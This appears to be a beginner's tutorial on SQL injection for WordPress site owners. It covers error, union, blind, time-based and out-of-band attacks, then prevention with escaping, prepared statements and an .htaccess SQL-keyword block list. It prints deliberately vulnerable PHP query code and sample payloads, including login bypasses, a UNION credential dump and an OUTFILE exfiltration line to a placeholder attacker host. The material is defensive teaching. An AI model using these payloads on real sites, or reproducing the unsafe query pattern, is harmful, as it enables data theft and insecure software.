SQL Injection: A Beginner’s Guide for WordPress Users

SQL (Structured Query Language) is a language that allows us to interact with databases. Modern web applications use databases to manage data and display dynamic content to readers.

SQL injection, or SQLi, is an attack on a web application by compromising its database through malicious SQL statements.

As it’s a common attack, let’s try to learn more about what it is, how it happens, and how to defend yourself from it.

Ready? Let’s dive in!

What is SQL Injection?

SQL injection, or SQLi, is a type of attack on a web application that enables an attacker to insert malicious SQL statements into the web application, potentially gaining access to sensitive data in the database or destroying this data.SQL injection was first discovered by Jeff Forristal in 1998.

In the two decades since its discovery, SQL injection has consistently been the top priority of web developers when designing applications.

Barclaycard estimated in 2012 that 97% of data breaches initiate with an SQL injection attack. An SQL injection is prevalent even today and the severity of injection attacks in a web application is recognized widely. It is one of the top ten most critical web application security risks by OWASP.

How Does the SQL Injection Vulnerability Work?

An SQL injection vulnerability gives an attacker complete access to your application’s database through the use of malicious SQL statements.

In this section, we share an example of how a vulnerable application looks like.

Imagine the workflow of a typical web application that involves database requests through user inputs. You take the user input through a form, say a login form. You then query your database with the fields submitted by the user to authenticate them. The structure of the query to your database is something like this:

select * from user_table
where username = 'sdaityari'
and password = 'mypassword';

For simplicity, let’s assume you are storing your passwords as clear text. It is, however, a good practice to salt your passwords and then hashing them. Moving on, if you have received the username and password from the form, you may define the query in PHP as follows:

// Connect to SQL database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execute query

If someone enters the value “admin’;–” in the username field, the resulting SQL query that the variable $db_query generates will be as follows:

select * from user_table where
username = 'admin';--' and password = 'mypassword'

What does this query do?

A comment in SQL starts with double dashes (–). The resultant query filters only by the username without taking into consideration the password. If there was no security in place to avoid this, you would simply be granted administrative access to the web application just by using this trick.

Alternately, a boolean attack may also be used in this example to gain access. If an attacker enters “password’ or 1=1;–” in the password field, the resulting query would be as follows:

select * from user_table where
username = 'admin' and
password = 'password' or 1=1;--';

In this case, even if your password is wrong, you would be authenticated into the application. If your web page displays the results of the database query, an attacker can use the command show tables, command to display the tables in the database, and then selectively drop tables if they so wish.

Exploits of a Mom, a popular comic strip by XKCD, shows the conversation of a mother with her son’s school, where she’s asked if she really named her son “Robert’); DROP TABLE Students; –”.

Types of SQL Injection

Now that you know the basics of a SQL injection vulnerability, let’s explore the various types of SQL injection attacks and the reason behind each of them.

In-Band SQL Injection

In-Band SQL injection is the simplest form of SQL injection. In this process, the attacker is able to use the same channel to insert the malicious SQL code into the application as well as gather the results. We will discuss two forms of in-band SQL injection attacks:

Error-Based Attack

An attacker uses an error based SQL injection technique during the initial phases of their attack. The idea behind an error based SQL injection is to get further information about the database structure and table names that the web application follows. For instance, an error message may contain the table name included in the query and column names of the table. This data can then be used to create new attacks.

Union-Based Attack

In this method, an attacker using the SQL union join to display the results from a different table. For instance, if an attacker is on a search page, they may append the results from another table.

select title, link from post_table
where id < 10
union
select username, password
from user_table; --;

Inferential SQL Injection (Blind SQL Injection)

Even if an attacker generates an error in the SQL query, the response of the query may not be transmitted directly to the web page. In such case, the attacker needs to probe further.

In this form of SQL injection, the attacker sends various queries to the database to assess how the application analyses these responses. An inferential SQL injection is sometimes also known as blind SQL injection. We will look at two kinds of inferential SQL injections below: boolean SQL injection and time-based SQL injection.

Boolean Attack

If an SQL query results in an error that has not been handled internally in the application, the resulting web page may throw an error, load a blank page, or load partially. In a boolean SQL injection, an attacker assesses which parts of a user’s input are vulnerable to SQL injections by trying two different versions of a boolean clause through the input:

• “… and 1=1”
• “… and 1=2”

If the application works normally in the first case but shows an anomaly in the second case, it indicates that the application is vulnerable to an SQL injection attack.

Time-Based Attack

A time-based SQL injection attack can also help an attacker determine if a vulnerability is present in a web application. An attacker utilizes a pre-defined time-based function of the database management system that is used by the application. For instance, in MySQL, the function sleep() instructs the database to wait for a certain number of seconds.

select * from comments
WHERE post_id=1-SLEEP(15);

If such a query results in a delay, the attacker would know that it is vulnerable.

Out-of-Band SQL Injection

If an attacker is unable to gather the results of a SQL injection through the same channel. Out-of-band SQL injection techniques may be used as an alternative to inferential SQL injection techniques.

Typically, these techniques involve sending data from the database to a malicious location of the attacker’s choice. This process is highly dependent on the capabilities of the database management system too.

An out-of-band SQL injection attack uses an external file process capability of your DBMS. In MySQL, the LOAD_FILE() and INTO OUTFILE functions may be used to request MySQL to transmit the data to an external source. Here is how an attacker might use OUTFILE to send the results of a query to an external source:

select * from post_table
into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'

Similarly, the LOAD_FILE() function may be used to read a file from the server and display its contents. A combination of LOAD_FILE() and OUTFILE can be used to read the contents of a file on the server and then transmit it to a different location.

How to Prevent SQL Injections

So far, we have explored the vulnerabilities in a web application that may lead to SQL injection attacks. An SQL injection vulnerability can be used by an attacker to read, modify, or even remove the contents of your database.

Additionally, it may also enable one to read a file on any location within the server and transfer the contents elsewhere. In this section, we explore various techniques to protect your web application and website against SQL injection attacks.

Escape User Inputs

Generally speaking, it is a difficult task to determine whether a user string is malicious or not. Therefore, the best way to go about it is to escape special characters in user input.

This process saves you from an SQL injection attack. You can escape a string before building the query in PHP using the mysql_escape_string() function. You can also escape a string in MySQL using the mysqli_real_escape_string() function.

While displaying the output as HTML, you will also need to convert the string to make sure the special characters do not interfere with the HTML markup. You can convert special characters in PHP using the function htmlspecialchars().

Use Prepared Statements

Alternately, you can use prepared statements to avoid SQL injections. A prepared statement is a template of an SQL query, where you specify parameters at a later stage to execute it. Here is an example of a prepared statement in PHP and MySQLi.

$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));

Other Hygiene Checks to Prevent SQL Attacks

The next step in mitigating this vulnerability is to limit access to the database to only what is necessary.

For instance, connect your web application to the DBMS using a specific user, which has access to only the relevant database.

Restrict access of the database user to all other locations of the server. You may also wish to block certain SQL keywords in your URL through your web server. If you are using Apache as a web server, you can use the following lines of code in your .htaccess file to show a 403 Forbidden error to a potential attacker.

You should be careful before using this technique as Apache will show an error to a reader if the URL contains these keywords.

RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]

As an additional prevention tip, you should always use updated software. When a new version or a patch is released, the bugs that were fixed in the update are detailed in the release notes. Once the details of a bug are out in the public, running an old version of any software can be risky.

SQL Injection in WordPress

You are secure from any SQL injection vulnerability if you are using up-to-date WordPress core files. However, when you use third-party themes and plugins, your entire application is at a risk.

Your WordPress site is only as strong as its weakest link. In this section, we explore the key considerations to mitigate SQL injection vulnerability in WordPress and how to perform vulnerability checks on your existing WordPress site.

SQL Injection Vulnerability Prevention for WordPress

To mitigate the vulnerability of SQL Injection in your WordPress theme or plugin, the single rule that you must follow is to always use existing WordPress functions when interacting with the database.

These functions are thoroughly tested for SQL injection vulnerabilities during the WordPress development process. For instance, if you would like to add a comment to a post, use the wp_insert_comment() function rather than inserting data directly into the wp_comments table.

While functions are extensible, you may occasionally need to run a complex query. In such a case, make sure you use the $wp_db group of functions. You can use $wpdb->prepare() to escape user input before creating the query.

Additionally, here is a list of functions to sanitize data in WordPress. These help you escape specific types of user inputs such as emails and URLs.

Secure Your WordPress Site

While WordPress itself is secure, issues such as outdated core software, and nulled plugins can lead to vulnerabilities. While there is no alternative to you checking your WordPress site for SQL injection vulnerability thoroughly, the complexity of a website may make this task challenging.

You may use an online scanning tool such as ThreatPass and WPScan Vulnerability Database. You can audit your plugins to see if their development has stalled. If they were abandoned a while back, it may not be a good idea to use them on your site.

If you still need to absolutely use them, make sure you thoroughly test their code and functionality for vulnerabilities. Other than this, make sure you follow these hygiene checks:

• Update PHP, WordPress core, and MySQL
• Update third-party plugins and themes
• Avoid using the root user to connect the SQL database
• Limit accesses of the SQL user to sensitive directories
• Block SQL keywords using your server
• Keep backups of your site off-site in case of irreversible damage

Here is a detailed post on WordPress Security and an exhaustive list of checks. Further, you may wish to invest in these top security plugins for WordPress.Here’s what you should do if your WordPress site is hacked in spite of your best efforts.

Is SQL Injection Illegal?

Definitely, yes! Even though there’s an actual vulnerability, an attacker is still trying to get access to data that wouldn’t be available to them otherwise.

Imagine a scenario where someone leaves their keys in the car. Does driving away in it constitute an offense just because it was left open and unattended? The act of SQLi falls under different laws in various countries. It falls under the Computer Fraud and Abuse Act (1986) in the US, and the Computer Misuse Act (1990) in the UK.

97% of data breaches initiate with SQL injections. If you’re running a site, you should know what SQL injections are and how to prevent them from happening. Luckily, there’s this guide! 👺🦺 Click to Tweet

Summary

SQL injection vulnerabilities were discovered long ago. However, a 2018 report on hacked websites suggests that SQLi is the most common website hack for WordPress after XSS attacks. To prevent them from happening, you should:

• Understand how the SQL Injection vulnerability works
• Explore various ways in which attackers may use SQLi to gain unauthorized access to your web application
• Implement methods to safeguard your website from SQLi attacks, like escaping user inputs and using prepared statements
• Follow a security check routine

As the old saying goes, “better be safe, than sorry!”

Source: Kinsta